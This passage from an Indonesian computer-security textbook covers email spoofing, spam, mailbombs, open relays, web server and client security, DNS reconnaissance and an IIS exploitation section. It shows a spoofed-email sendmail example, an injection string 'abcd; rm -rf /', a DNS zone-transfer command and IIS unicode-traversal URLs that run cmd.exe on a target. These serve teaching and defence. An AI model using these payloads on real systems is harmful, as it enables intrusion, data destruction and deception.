perintah ini . Namun perlu diingat bahwa aktivitas kita tercatat oleh

MTA. Misalnya anda membuat sebuah berkas “email-palsu.txt” dengan isi

sebagai berikut.

To: siapasaja@dimanasaja.com

From: si-doel@hotmail.com

Subject: email palsu

Saya akan coba kirim email palsu. Perhatikan

header dari email ini.

Setelah berkas ini  kita tuliskan, maka bisa kita panggil MTA (dalam

contoh di bawah ini kita memakai   sendmail sebagai MTA-nya) dan

kita katakan MTA untuk mengantarkan email ke alamat “user01@training”.

Email akan dikirimkan ke “user01@training”, tanpa me perdulikan isi

field “To:” yang ada dalam berkas ini .

/usr/sbin/sendmail user01@training < email-palsu.txt

Hal yang sama bisa kita lakukan dengan langsung berbicara ke MTA yang

dituju dengan memakai   protokol SMTP.

Bagaimana upaya kita untuk melindungi dari email pasu? Sebagai

penerima email, kita bisa melihat header dari email. Kita lihat tempat-

tempat yang dilalui oleh email ini . Sayangnya jar ng sekali pengguna

email melihat isi dari header email sehingga mereka mudah tertipu dengan

email palsu.

Cara lain untuk memastikan bahwa email berasal dari orang yang

bersangkutan yaitu  dengan memakai   digital signature. Sayangnya

mekanisme ini jarang dilakukan karena tidak banyak orang yang

memakai   digital signature.

Sebagai administrator, kita harus rajin membaca log untuk melihat

keanehan atau anomali dengan pemakaian  email. Misalnya kita dapat lihat

apakah ada orang mengirimkan email dengan identitas (From:) yang tidak

sama dengan domain dari organisasi kita. Demikian pula server mail kita

Keamanan Email

98  

harus dibatasi agar tidak ditumpangi oleh orang yang tidak berhak. Untuk

yang ini akan kita bahas pada bagian “mail relay”.

Penyusupan Virus

Email sering dijadikan medium yang paling efektif untuk menyebarkan

virus. Hal ini disebabkan email langsung menuju pengguna yang umumnya

merupakan titik terlemah (weakest link) dalam pertahan n sebuah

perusahaan atau institusi. Orang seringkali dengan mudah membuka atau

menjalankan program yang terkait dengan attachment ya g dia terima

melalui email. Ada sebuah gosip yang mengatakan bahwa 70% orang akan

menjalankan (meng-klik) email yang memiliki attachment dengan judul

“BIRAHI.EXE”.

Untuk membuat pengguna email nyaman dalam memakai   email,

program mail (MUA) dahulu sering dikonfigurasi untuk secara otomatis

menjalankan program aplikasi yang sesuai dengan attachment yang

diterima. Misalnya attachment yang diterima berupa berkas Microsoft

Word, maka program mail ini  langsung menjalankn Microsoft Word.

Akibatnya berkas yang memiliki virus dapat langsung dijalankan. Untuk itu

seharusnya program mail tidak menjalankan program secara otomatis.

Pengguna harus mengambil inisiatif sendiri.

Pengamanan sistem biasanya memakai   firewall. Namun firewall

biasanya bergerak di layer yang lebih rendah, bukan layer aplikasi, sehingga

tidak dapat melihat isi atau data dari email. Firewall yang baru sudah dapat

menguji isi email terhadap tanda-tanda virus.

Solusi untuk mengurangi impak terhadap penyusupan virus yaitu  dengan

memakai   anti-virus dengan data (signature) yang terbaru. Program

anti-virus ini harus diperbaharui secara berkala. Disarankan untuk

melakukannya sekali dalam seminggu.

Pengamanan lain yaitu  dengan melakukan pemeriksaan terhadap virus

pada level mail server. Namun hal ini sering membuat suasana tidak

nyaman karena pengguna sering mengeluh tidak mendapat email dari

 99

Spam

kawan korespondensinya. Seolah-olah mail hilang. Padah l bisa jadi email

dari kawannya ini  mengandung virus dan sudah difilter di server mail.

Spam

Spam1 yaitu  didefinisikan sebagai “unsolicited email”, yaitu email yang

tidak kita harapkan. Spam ini berupa email yang dikirimkan ke banyak

orang. Biasanya isi dari email ini yaitu  promosi.

Masalah spam ini berdasarkan pada kenyataan bahwa biay (cost) untuk

mengirimkan email ke satu orang dan 1000 orang tidak jauh berbeda.

Barrier untuk melakukan mass mailing sangat rendah. Hal ini berbeda

dengan melakukan pemasaran konvensional dimana untuk mengirimkan

sebuah kartu pos atau surat akan jauh berbeda untuk sat  orang dan 1000

orang.

Spam ini tidak terfilter oleh anti-virus karena memang dia bukan virus.

Filter terhadap spam harus dilakukan secara khusus. Namun mekanisme

untuk melakukan filtering spam ini masih sukar karen  kesulitan kita dalam

membedakan antara email biasa dan email yang spam.

Pada mulanya proses filter spam dilakukan dengan mecari kata-kata

tertentu di email yang diterima. Kata-kata yang populer digunaka sebagai

subyek dari email antara lain “Make money fast”, “viagra”, dan seterusnya.

Namun ternyata hal ini tidak efektif karena para spmmer mengubah kata-

kata ini  menjadi kata-kata plesetan. Misalnya huruf “i” dari kata

“viagra” diganti dengan angka “1” menjadi “v1agra”. Hebatnya manusia

yaitu  kita masih dapat mengerti bahwa yang dimaksudkan yaitu  viagra.

Namun program komputer masih kesulitan dalam membedakan

(menyamakan) kedua hal ini . Akibatnya jika kit memasukkan kata

“viagra” ke dalam filter, maka kata “v1gra” akan lolos dari filter kita dan

email spam ini  masih tetap masuk ke mailbox kita.

1. Kata “spam” berasal dari daging campur kalengan. Seperti Corned Beef, akan tetapi dag-

ingnya “tidak jelas”. pemakaian  kata spam ini berasal dari lawakan (skit) dari Monty 

Python, sebuah acara komedi di Inggris.

Keamanan Email

100  

Pendekatan berikutnya dalam melawan spam yaitu  dengan memakai  

statistik (Bayesian) yang menghitung kata-kata di dalam email. Jika ada

banyak kata yang merupakan kata kunci dari spammer, aka statistik akan

menunjukan probabilitas bahwa email ini  merupakan spam. Namun

lagi-lagi spammer lebih pintar, yaitu dengan menambhkan kata-kata yang

tidak bermakna di dalam email yang dikirimkan sehingga mengacaukan

hasil statistik. (Semakin banyak kata-kata yang tidak beraturan semakin

tinggi nilai entropi dari signal, semakin jauh dari l bel spam.)

Jumlah email spam ini sudah sangat banyak sehingga dap t melumpuhkan

server email. Banyak tempat yang tidak menjalankan filtering terhadap

spam karena tidak mampu.

Masalah spam masih menjadi masalah utama dalam sistem email saat ini.

Ada organisasi yang bernama CAUCE (Coalition Against Unsolicited

Commercial Email) yang menggalang upaya-upaya untuk membendung

spam.

Mailbomb

Mailbomb yaitu  mengirim email bertubi-tubi ke satu tuj an. Dampaknya

mailbox yang dituju akan menjadi penuh. Dampak kepada sistem juga

hampir sama, yaitu direktori yang digunakan untuk menampung email (mail

spool) menjadi penuh sehingga pengguna lain tidak dapat menerima email

juga.

Pembuatan mailbomb dapat dilakukan dengan mudah, misalnya dengan

memakai   shell script di sistem UNIX. Skrip yang mungkin hanya 3

baris ini melakukan loop, dimana pada setiap loopnya dia memanggil MTA

dan memberinya email yang harus dikirimkan ke target. S perti pada spam,

cost untuk mengirimkan email sangat rendah sehingga untuk melakukan

mailbomb juga sangat mudah. Untungnya kegiatan ini tercatat dalam logfile

sehingga memudahkan untuk melakukan pelacakan.

Proteksi terhadap mailbomb yaitu  dengan membatasi quota email dari

pengguna, misalnya dibatasi 20 MBytes, sehingga jik dia kena mailbomb

 101

Mail Relay

tidak mengganggu pengguna lainnya. Cara lain yang dapat dilakukan

yaitu  menjalankan program yang mendeteksi mailbomb. Program ini

menganalisa isi email (dengan memakai   checksum) dan

membandingkan dengan email-email sebelumnya. Jika em il sama persis

dengan email sebelumnya maka email ini dapat dihilangk n. Namun kinerja

program khusus ini masih dipertanyakan, khususnya utuk server mail yang

banyak menerima email.

Mail Relay

Mail relaying yaitu  mengirimkan email dengan memakai   server mail

milik orang lain. Aktivitas ini biasanya dilakukan oleh para pengirim spam.

Mereka mendompleng server mail milik orang lain yang konfigurasi kurang

baik dan memperkenankan orang lain untuk memakai   server itu untuk

mengirim email. Akibatnya bandwidth dari server itu bisa habis digunakan

untuk mengirim email spam, bukan email dari pengguna yang sah.

Abuse terhadap server mail yang terbuka ini biasanya dilakukan oleh

pengirim spam. Banyak tempat yang melakukan filtering terhadap server

mail yang digunakan oleh pengirim spam. Jika server mail anda termasuk

yang memperkankan mail relay, maka server anda dapat masuk ke dalam

daftar tercela (blacklist) dan kena filter juga. Oleh sebab itu harus

dipastikan bahwa server mail kita tidak memperkenankan mail relay.

Pada awal perkembangan Internet, masalah kepercayaan s ngat tinggi

sehingga kebanyakan orang tidak memperhatikan masalah keamanan ini.

Server email disetup tanpa adanya pembatasan siapa s ja yang boleh

memakai  nya. Namun saat ini hal ini  sudah ti k bisa dilakukan

lagi. Pengguna server email - siapa-siapa yang dapat memakai  nya

untuk mengirim email - harus dibatasi. Misalnya, server email hanya dapat

mengirimkan email jika nomor IP dari pengguna ada dalam rentang nomor

IP internal.

Kita juga dapat melakukan proteksi terhadap spam dengan melakukan

filtering terhadap server mail yang terbuka. MTA kita dapat kita konfigurasi

Keamanan Email

102  

untuk menolak email yang berasal dari server mail yng memperkenankan

mail relay (karena kemungkinan email yang dikirim yaitu  spam).

TABLE 8. Daftar Database Mail Relay

Tempat-tempat database server yang memperkenankan mail relay

Mail Abuse Prevention System: http://mail-abuse.org

ORBZ – Open Relay Blackhole Zone: http://www.orbz.org/

ORDB – Open Relay Database: http://www.ordb.org/

RBL-type services: http://www.ling.helsinki.fi/users/

reriksso/rbl/rbl.html

 103

BAB 6 Keamanan Sistem World 

Wide Web

World Wide Web (WWW atau Web1) merupakan salah satu “killer

applications” yang menyebabkan populernya Internet. WWW

dikembangkan oleh Tim Berners-Lee ketika bekerja di CERN (Swiss).

Sejarah dari penemuan ini dapat dibaca pada buku karangan Tim Berners-

Lee ini [3]. Kehebatan Web yaitu  kemudahannya untuk mengakses

informasi, yang dihubungkan satu dengan lainnya melalui konsep hypertext.

Informasi dapat tersebar di mana-mana di dunia dan terhubung melalui

hyperlink. Informasi lebih lengkap tentang WWW dapat diperolh di web

W3C <http://www.w3.org>.

Pembaca atau peraga sistem WWW yang lebih dikenal dengan istilah

browser dapat diperoleh dengan mudah, murah atau gratis. Contoh browser

yaitu  Netscape, Internet Explorer, Opera, kfm (KDE file manager di

sistem Linux), dan masih banyak lainnya. Kemudahan pe ggunaan program

browser inilah yang memicu populernya WWW. Sejarah dari browser ini

dimulai dari browser di sistem komputer NeXT yang kebetulan digunakan

oleh Berners-Lee. Selain browser NeXT itu, pada saat itu baru ada browser

yang berbentuk text (text-oriented) seperti “line mode” browser. lalu 

1. Untuk selanjutnya pemakaian  kata WWW atau Web akan dianggap sama.

Keamanan Sistem World Wide Web

104  

ada lynx dan akhirnya muncul Mosaic yang dikembangk oleh Marc

Andreesen beserta kawan-kawannya ketika sedang magang di NCSA.

Mosaic yang multi-platform (Unix/Xwindow, Mac, Windows) inilah yang

memicu popularitas WWW.

Berkembangnya WWW dan Internet menyebabkan pergerakan sistem

informasi untuk memakai  nya sebagai basis. Banyak sistem yang tidak

terhubung ke Internet tetapi tetap memakai   basis Web sebagai basis

untuk sistem informasinya yang dipasang di jaringan Intranet. Untuk itu,

keamanan sistem informasi yang berbasis Web dan tekologi Internet

bergantung kepada keamanan sistem Web ini .

Arsitektur sistem Web terdiri dari dua sisi: server dan client. Keduanya

dihubungkan dengan jaringan komputer (computer network). Selain

menyajikan data-data dalam bentuk statis, sistem Web dapat menyajikan

data dalam bentuk dinamis dengan menjalankan program. Program ini

dapat dijalankan di server (misal dengan CGI, servlt) dan di client (applet,

Javascript). Sistem server dan client memiliki permasalahan yang berbeda.

Keduanya akan dibahas secara terpisah.

Ada asumsi dari sistem Web ini. Dilihat dari sisi pengguna:

• Server dimiliki dan dikendalikan oleh organisasi yang mengaku

memiliki server ini . Maksudnya, jika sebuah server memiliki

domain www.bni.co.id dan tulisan di layar menunjukkan bahwa situs itu

merupakan milik Bank BNI maka kita percaya bahwa server ini 

memang benar milik Bank BNI. Adanya domain yang dibajak

merupakan anomali terhadap asumsi ini.

• Dokumen yang ditampilkan bebas dari virus, trojan horse, atau itikad

jahat lainnya. Bisa saja seorang yang nakal memasang virus di web nya.

Akan tetapi ini merupakan anomali.

• Server tidak mendistribusikan informasi mengenai pengunjung (user

yang melakukan browsing) kepada pihak lain. Hal ini disebabkan ketika

kita mengunjungi sebuah web site, data-data tentang kita (nomor IP,

operating system, browser yang digunakan, dll.) dapat dicatat.

Pelanggaran terhadap asumsi ini sebetulnya melanggar priv cy. Jika hal

ini dilakukan maka pengunjung tidak akan kembali ke situs ini.

 105

Keamanan Server WWW

Asumsi dari penyedia jasa (webmaster) antara lain:

• Pengguna tidak beritikad untuk merusak server atau mengubah isinya

(tanpa ijin).

• Pengguna hanya mengakses dokumen-dokumen atau informasi yang

diijinkan diakses. Seorang pengguna tidak mencoba-coba masuk ke

direktori yang tidak diperkenankan (istilah yang umum digunakan

yaitu  “directory traversal”).

• Identitas pengguna benar. Banyak situs web yang membatasi akses

kepada user-user tertentu. Dalam hal ini, jika seorang pengguna “login”

ke web, maka dia yaitu  pengguna yang benar.

Asumsi kedua belah pihak:

• Jaringan komputer (network) dan komputer bebas dari penyadapan

pihak ketiga.

• Informasi yang disampaikan dari server ke pengguna (dan sebaliknya)

terjamin keutuhannya dan tidak dimodifikasi oleh piak ketiga yang

tidak berhak.

Asumsi-asumsi di atas bisa dilanggar sehingga mengakibatkan adanya

masalah keamanan.

Keamanan Server WWW

Keamanan server WWW biasanya merupakan masalah dari seorang

administrator. Dengan memasang server WWW di sistem anda, maka anda

membuka akses (meskipun secara terbatas) kepada orang lu r. Apabila

server anda terhubung ke Internet dan memang server WWW anda

disiapkan untuk publik, maka anda harus lebih berhati- ti sebab anda

membuka pintu akses ke seluruh dunia!

Server WWW menyediakan fasilitas agar client dari tempat lain dapat

mengambil informasi dalam bentuk berkas (file), atau mengeksekusi

perintah (menjalankan program) di server. Fasilitas pengambilan berkas

dilakukan dengan perintah “GET”, sementara mekanisme untuk

Keamanan Sistem World Wide Web

106  

mengeksekusi perintah di server dapat dilakukan dengan “CGI” (Common

Gateway Interface), Server Side Include (SSI), Active Server Page (ASP),

PHP, atau dengan memakai   servlet (seperti pernggunaan Java Servlet).

Kedua jenis servis di atas (mengambil berkas biasa maupun menjalankan

program di server) memiliki potensi lubang keamanan yang berbeda.

Adanya lubang keamanan di sistem WWW dapat dieksploitasi dalam

bentuk yang beragam, antara lain:

• informasi yang ditampilkan di server diubah sehingga dapat

mempermalukan perusahaan atau organisasi anda (dikenal d ngan istilah

deface1);

• informasi yang semestinya dikonsumsi untuk kalangan terbatas

(misalnya laporan keuangan, strategi perusahaan anda, atau database

client anda) ternyata berhasil disadap oleh saingan anda (ini mungkin

disebabkan salah setup server, salah setup router / firewall, atau salah

setup authentication);

• informasi dapat disadap (seperti misalnya pengiriman nomor kartu kredit

untuk membeli melalui WWW, atau orang yang memonitor kemana saja

anda melakukan web surfing);

• server anda diserang (misalnya dengan memberikan request secara

bertubi-tubi) sehingga tidak bisa memberikan layanan ketika dibutuhkan

(denial of service attack);

• untuk server web yang berada di belakang firewall, lubang keamanan di

server web yang dieksploitasi dapat melemahkan atau b hkan

menghilangkan fungsi dari firewall (dengan mekanisme tunneling).

Sebagai contoh serangan dengan mengubah isi halaman web, beberapa

server Web milik pemerintah Indonesia sempat menjadi target serangan dari

beberapa pengacau (dari Portugal) yang tidak suka dengan kebijaksanaan

pemerintah Indonesia dalam masalah Timor Timur. Mereka mengganti

halaman muka dari beberapa server Web milik pemerintah Indonesia

dengan tulisan-tulisan anti pemerintah Indonesia. Selain itu, beberapa

server yang dapat mereka serang diporakporandakan dan dihapus isi

1. Informasi tentang web-web yang pernah di-deface dikumpulkan di berbagai tempat 

(web), seperti misalnya di http://www.aldas.org

 107

Keamanan Server WWW

disknya. Beberapa server yang sempat dijebol antara lain: server

Departemen Luar Negeri, Hankam, Ipteknet, dan BPPT. enjebolan ini

masih berlangsung terus oleh crackers yang berbeda-.

Membatasi akses melalui Kontrol Akses

Sebagai penyedia informasi (dalam bentuk berkas-berkas), sering

diinginkan pembatasan akses. Misalnya, diinginkan agar hanya orang-orang

tertentu yang dapat mengakses berkas (informasi) terten u. Pada prinsipnya

ini yaitu  masalah kontrol akses. Pembatasan akses dapat dilakukan

dengan:

• membatasi domain atau nomor IP yang dapat mengakses;

• memakai   pasangan userid & password;

• mengenkripsi data sehingga hanya dapat dibuka (dekripsi) oleh orang

yang memiliki kunci pembuka.

Mekanisme untuk kontrol akses ini bergantung kepada program yang

digunakan sebagai server. Salah satu caranya akan diuraikan pada bagian

berikut.

Proteksi halaman dengan memakai   password

Salah satu mekanisme mengatur akses yaitu  dengan memakai  

pasangan userid (user identification) dan password. Untuk server Web yang

berbasis Apache1, akses ke sebuah halaman (atau sekumpulan berkas yang

terletak di sebuah directory di sistem Unix) dapat diatur dengan

memakai   berkas “.htaccess”. Sebagai contoh, isi dari berkas

ini  dapat berupa:

AuthUserFile /home/budi/.passme

AuthGroupFile /dev/null

AuthName “Khusus untuk Tamu Budi”

AuthType Basic

<Limit GET>

require user tamu

1. Mekanisme ini juga berlaku di server yang memakai   program NCSA httpd dan 

CERN httpd.

Keamanan Sistem World Wide Web

108  

</Limit>

Dalam contoh di atas, untuk mengakses direktori ini  dibutuhkan userid

“tamu” dan password yang sama dengan entry userid budi di berkas “/

home/budi/.passme”. Ketika direktori ini  diakses, akan muncul

sebuah pop-up window yang menanyakan userid dan password.

Password di dalam berkas “/home/budi/.passme” dapat dibuat dengan

memakai   program “htpasswd”.

unix% htpasswd -c /home/budi/.passme budi

New password: *****

Secure Socket Layer

Salah satu cara untuk meningkatkan keamanan server WWW yaitu  dengan

memakai   enkripsi pada komunikasi pada tingkat socket. Dengan

memakai   enkripsi, orang tidak bisa menyadap data- a (transaksi)

yang dikirimkan dari/ke server WWW. Salah satu mekanisme yang cukup

populer yaitu  dengan memakai   Secure Socket Layer (SSL) yang

mulanya dikembangkan oleh Netscape.

Selain server WWW dari Netscape, beberapa server lain juga memiliki

fasilitas SSL juga. Server WWW Apache (yang tersedia secara gratis) dapat

dikonfigurasi agar memiliki fasilitas SSL dengan menambahkan software

tambahan (SSLeay - yaitu implementasi SSL dari Eric Young - atau

OpenSSL1 - yaitu implementasi Open Source dari SSL). Bahkan ada sebuah

perusahaan (Stronghold) yang menjual Apache dengan SSL.

pemakaian  SSL memiliki permasalahan yang bergantung kepada lokasi

dan hukum yang berlaku. Hal ini disebabkan:

• Pemerintah melarang ekspor teknologi enkripsi (kriptografi).

• Paten Public Key Partners atas Rivest-Shamir-Adleman (RSA) public-

key cryptography yang digunakan pada SSL.

1. OpenSSL dapat diperoleh dari http://www.openssl.org

 109

Keamanan Server WWW

Oleh karena hal di atas, implementasi SSLeay Eric Young tidak dapat

digunakan di Amerika Utara (Amerika dan Kanada) karena “melanggar”

paten RSA dan RC4 yang digunakan dalam implementasiya. SSLeay

dapat diperoleh dari:

• http://www.psy.uq.oz.au/~ftp/Crypto

Informasi lebih lanjut tentang SSL dapat diperoleh dari:

• http://home.netscape.com/newsref/std

• http://www.openssl.org

Mengetahui Jenis Server

Informasi tentang web server yang digunakan dapat dimanfaatkan oleh

perusak untuk melancarkan serangan sesuai dengan tipe server dan

operating system yang digunakan. Seorang penyerang akan mencari tahu

software dan versinya yang digunakan sebagai web server, lalu 

mencari informasi di Internet tentang kelemahan web server ini .

Informasi tentang program server yang digunakan sangat mudah diperoleh.

Cara yang paling mudah yaitu  dengan memakai   program “telnet”

dengan melakukan telnet ke port 80 dari server web ini , lalu 

menekan tombol return dua kali. Web server akan mengirimkan respon

dengan didahuli oleh informasi tentang server yang digunakan. Program

Ogre (yang berjalan di sistem Windows) dapat mengetahui program server

web yang digunakan. Sementara itu, untuk sistem UNIX, program lynx

dapat digunakan untuk melihat jenis server dengan me ekan kunci “sama

dengan” (=).

Keamanan Program CGI

Common Gateway Interface (CGI) digunakan untuk menghubungkan

sistem WWW dengan software lain di server web. Adanya CGI

memungkinkan hubungan interaktif antara user dan server web. CGI

seringkali digunakan sebagai mekanisme untuk mendapatk n informasi dari

user melalui “fill out form”, mengakses database, atau menghasilkan

halaman yang dinamis.

Keamanan Sistem World Wide Web

110  

Meskipun secara prinsip mekanisme CGI tidak memiliki lubang keamanan,

program atau skrip yang dibuat sebagai CGI dapat memiliki lubang

keamanan (baik secara sengaja dibuat lubang keamanannya ataupun tidak

sengaja). Pasalnya, program CGI ini dijalankan di server web sehingga

memakai   resources web server ini . Potensi lubang keamanan

yang dapat terjadi dengan CGI antara lain:

• Seorang pemakai yang nakal dapat memasang skrip CGI sehingga dapat

mengirimkan berkas password kepada pengunjung yang mengeksekusi

CGI ini .

• Program CGI dipanggil berkali-kali sehingga server menjadi terbebani

karena harus menjalankan beberapa program CGI yang menghabiskan

memori dan CPU cycle dari web server.

• Program CGI yang salah konfigurasi sehingga memiliki otoritas seperti

sistem administrator sehingga ketika dijalankan dapat melakukan

perintah apa saja. Untuk sistem UNIX, ada saja administrator yang salah

seting sehingga server web (httpd) dijalankan oleh root.

• CGI guestbook yang secara otomatis menambahkan informasi ke dalam

halaman web seringkali disalahgunakan oleh orang yang nakal dengan

mengisikan link ke halaman pornografi atau diisi dengan sampah (junk

text) sehingga memenuhi disk pemilik web.

• Teks (informasi) yang dikirimkan ke CGI diisi dengan karakter tertentu

dengan tujuan untuk merusak sistem. Sebagai contoh, banyak search

engine yang tidak melakukan proses “sanitasi” terhadap karakter yang

dituliskan oleh user. Bagaimana jika user memasukkan “abcd; rm -rf /”

atau “%; drop table” dan sejenisnya. (Tujuan utama yaitu  melakukan

attack terhadap SQL server di server.)

Keamanan client WWW

Dalam bagian terdahulu dibahas masalah yang berhubungan dengan server

WWW. Dalam bagian ini akan dibahas masalah-masalah yang berhubungan

dengan keamanan client WWW, yaitu pemakai (pengunjung) biasa.

Keamanan di sisi client biasanya berhubungan dengan m salah privacy dan

penyisipan virus atau trojan horse.

 111

Bahan Bacaan

Pelanggaran Privacy

Ketika kita mengunjungi sebuah situs web, browser kita dapat “dititipi”

sebuah “cookie” yang fungsinya yaitu  untuk menandai kita. Ketika kita

berkunjung ke server itu kembali, maka server dapat mengetahui bahwa kita

kembali dan server dapat memberikan setup sesuai dengan keinginan

(preference) kita. Ini merupakan servis yang baik. Namun data-data yang

sama juga dapat digunakan untuk melakukan tr cking kemana saja kita

pergi.

Ada juga situs web yang mengirimkan script (misal Javascript) yang

melakukan interogasi terhadap server kita (melalui browser) dan

mengirimkan informasi ini ke server. Bayangkan jika di dalam komputer

kita terdapat data-data yang bersifat rahasia dan informasi ini dikirimkan ke

server milik orang lain.

Penyisipan Trojan Horse

Cara penyerangan terhadap client yang lain yaitu  dengan menyisipkan

virus atau trojan horse. Bayangkan apabila yang anda download yaitu 

virus atau trojan horse yang dapat menghapus isi harddisk anda. Salah satu

contoh yang sudah terjadi yaitu  adanya web yang menyisipkan trojan

horse Back Orifice (BO) atau Netbus sehingga komputer anda dapat

dikendalikan dari jarak jauh. Orang dari jarak jauh dapat menyadap apa

yang anda ketikkan, melihat isi direktori, melakukan reboot, bahkan

memformat harddisk!

Bahan Bacaan

Informasi lebih lanjut mengenai keamanan sistem WWW dapat diperoleh

dari sumber on-line sebagai berikut.

• <http://www.w3.org/Security/Faq/>

• Nalneesh Gaur, “Assessing the Security of Your Web Applications,”

Linux Journal, April 2000, hal. 74-78.

• Netscape’s cookie Security FAQ

http://search.netscape.com/assist/security/faqs/cookies.html

Keamanan Sistem World Wide Web

112  

 113

BAB 7 Eksploitasi Keamananan

Dalam bab ini akan dibahas beberapa contoh eksploitasi lubang keamanan.

Contoh-contoh yang dibahas ada yan bersifat umum dan a  yang bersifat

khusus untuk satu jenis operating system tertentu, atau untuk program

tertentu dengan versi tertentu. Biasanya lubang keamanan ini sudah ditutup

pada versi baru dari paket program ini  sehingga mungkin tidak dapat

anda coba. Pembahasan dalam bab ini tentunya tidak komplit dikarenakan

batasan jumlah halaman. Jika diinginkan pembahasan yang lebih komplit

ada buku “Hacking Exposed” (lihat referensi [41]) yang dapat digunakan

untuk keperluan ini .

Menurut “Hacking Exposed”, metodologi dari penyusup biasanya

mengikuti langkah sebagai berikut:

• Target acquisition and information gaterhing

• Initial access

• Privilege escalation

• Covering tracks

Namun, bab ini belum disusun dengan urutan seperti di atas.

Eksploitasi Keamananan

114  

Mencari informasi

Sebelum melakukan penyerangan, seorang cracker biasany  mencari

informasi tentang targetnya. Banyak informasi tentang sebuah sistem yang

dapat diperoleh dari Internet. Sebagai contoh, informasi dari DNS (Domain

Name System) kadang-kadang terlalu berlebihan sehingga memberikan

terlalu banyak informasi kepada orang yang bermaksud jahat. DNS dapat

memberikan informasi tentang nama-nama server berserta nomor IP yang

dimiliki oleh sebuah perusahaan. Seseorang yang tidak tahu apa-apa,

dengan mengetahui domain dari sebuah perusahaan dapat mengetahui

informasi yang lebih banyak tentang server-server dari perusahaan ini .

Paling tidak, informasi tentang name server merupakan informasi awal

yang dapat berguna.

Informasi tentang DNS tersedia secara terbuka di Internet dan dapat dicari

dengan memakai   berbagai tools seperti:

• whois, host, nslookup, dig (tools di sistem UNIX)

• Sam Spade (tools di sistem Windows)

• web dari Network Solutions inc. yang menyediakan informasi tentang

data-data gTLD (.com, .net, .org, dan seterusnya) melalui webnya di

http://www.networksolutions.com

Host, Whois, dig

Berikut ini yaitu  contoh beberapa session untuk mencari informasi tentang

domain dan server-server yang digunakan oleh domain ini . Untuk

mencari name server, dapat digunakan program “host” dengan option “-t

ns”. Sementara itu untuk mencari nomor IP dari sebuah host, langsun

gunakan program host tanpa option.

unix$ host -t ns yahoo.com

yahoo.com               NS      NS3.EUROPE.yahoo.com

yahoo.com               NS      NS1.yahoo.com

yahoo.com               NS      NS5.DCX.yahoo.com

unix$ host ns1.yahoo.com

ns1.yahoo.com           A       204.71.200.33

 115

Mencari informasi

Cara yang sama dapat dilakukan dengan memakai   program whois.

Contoh di bawah ini yaitu  untuk mencari informasi tentang domain

yahoo.com dengan memakai   server whois yang berada di Network

Solutions Inc.

unix$ whois -h whois.networksolutions.com yahoo.com

Registrant:

Yahoo (YAHOO-DOM)

   3420 Central Expressway

   Santa Clara, CA 95051

   US

   Domain Name: YAHOO.COM

   Administrative Contact, Technical Contact:

      Balling, Derek  (DJB470)  tech-contact@YAHOO-INC.COM

Yahoo!

      701 First Ave

      Sunnyvale, CA  94089

      US

      +1-408-349-5062

   Billing Contact:

      Billing, Domain  (DB28833)  domainbilling@YAHOO-INC.COM

      Yahoo! Inc.

      225 Broadway, 13th Floor

      San Diego, CA 92101

      1-408-731-3300

   Record last updated on 28-Jun-2001.

   Record expires on 20-Jan-2010.

   Record created on 18-Jan-1995.

   Database last updated on 20-Jul-2001 00:12:00 EDT.

   Domain servers in listed order:

   NS1.YAHOO.COM                204.71.200.33

   NS5.DCX.YAHOO.COM            216.32.74.10

   NS3.EUROPE.YAHOO.COM         217.12.4.71

Informasi yang diperoleh dari contoh di atas sekedar mencari informasi

mengenai server DNS. Kita juga dapat mencoba mencari informasi lebih

jauh dengan cara mengambil (dump) semua data-data DNS yang dikenal

Eksploitasi Keamananan

116  

dengan istilah zone transfer. Program “dig” dapat kita gunakan untuk

keperluan ini .

unix$ dig yahoo.com. axfr @ns1.yahoo.com.

Contoh di atas yaitu  perintah untuk melakukan zone transfer (axfr)

terhadap domain yahoo.com dari server ns1.yahoo.com. Perhatikan tanda

titik (.) di belakang nama domain. Perlu diingat bahw  kegiatan zone

transfer di beberapa tempat dapat dikategorikan sebagai tidak ramah

(unfriendly) dan bahkan dianggak sebagai usaha untuk melakukan hacking

terhadap sistem ini .

Untuk sistem yang diamankan secara baik, perintah zone transfer di atas

akan gagal untuk dilakukan. Akan tetapi untuk sistem yang tidak baik,

perintah di atas akan memberikan informasi tentang nama server-server

yang berada dalam domain ini . Termasuk server di Intranet! (seperti

billing, terminal server, RAS, dan sebagainya). Informasi yang sensitif

seperti ini seharusnya tidak dapat di-query oleh orang atau server yang tidak

berhak. Query zone transfer ini juga dapat dijadikan DoS attack karena

dengan query yang sedikit (berdasarkan jumlah dan ukuran paket yang

dikirimkan) dia menghasilkan jawaban yang cukup panjang. Dengan kata

lain terjadi amplifikasi dari pemakaian  bandwidth jaringan. Periksa sistem

anda apakah DNS anda sudah dikelola dengan baik atau m sih terbuka

untuk zone transfer.

Sam Spade, utility untuk MS Windows

Untuk anda yang memakai   sistem yang berbasis Microsoft Windows,

anda dapat memakai   program Sam Spade. Program ini dapat diperoleh

secara gratis dari web http://www.samspade.org. Gambar berikut

menunjukkan sebuah sesi Sam Spade untuk mencari informasi tentang

domain INDOCISC.com.

 117

Mencari informasi

Latihan 12. Cari informasi tentang nama-nama dari name server(NS) domain anda atau domain perusahaan anda. Informasiapa saja yang dapat anda peroleh dari data-data DNSini ? Nomor IP apa saja yang dapat anda peroleh daridata-data DNS ini ?

Informasi DNS memang tersedia untuk umum. Akan tetapi seharusnya

informasi yang komplit hanya boleh dilihat oleh server tertentu. Istilahnya,

“zone transfer” hanya diperbolehkan untuk server tertentu saja.

Eksploitasi Keamananan

118  

Eksploitasi Web Server

Web server menyediakan jasa untuk publik. Dengan demikian dia harus

berada di depan publik. Sayangnya banyak lubang keamanan dalam

implementasi beberapa web server. Di bagian ini akan dicontohkan

beberapa eksploitasi ini .

Defacing Microsoft IIS

Salah satu lubang keamanan dari web yang berbasis IIS yaitu  adanya

program atau script yang kurang baik implementasiny. Sebagai contoh,

bugtraq id 1806 menujukkan cara untuk melihat isi drektori dari sebuah

web server yang berbasis IIS. (Informasi lengkapnya ada di http://

www.securityfocus.com/bid/1806).

http://target/scripts/..%c1%1c../winnt/system32/cmd.exe?/

c+dir

http://target/scripts/..%c0%9v../winnt/system32/cmd.exe?/

c+dir

http://target/scripts/..%c0%af../winnt/system32/cmd.exe?/

c+dir

http://target/scripts/..%c0%qf../winnt/system32/cmd.exe?/

c+dir

http://target/scripts/..%c1%8s../winnt/system32/cmd.exe?/

c+dir

http://target/scripts/..%c1%9c../winnt/system32/cmd.exe?/

c+dir

http://target/scripts/..%c1%pc../winnt/system32/cmd.exe?/

c+dir 

Perintah di atas menjalankan perintah “dir” untuk melihat direktori di server

IIS ini . Selain melihat direktori dengan perintah “dir”, anda dapat juga

menjalankan perintah lain di server ini , seperti misalnya meng-copy

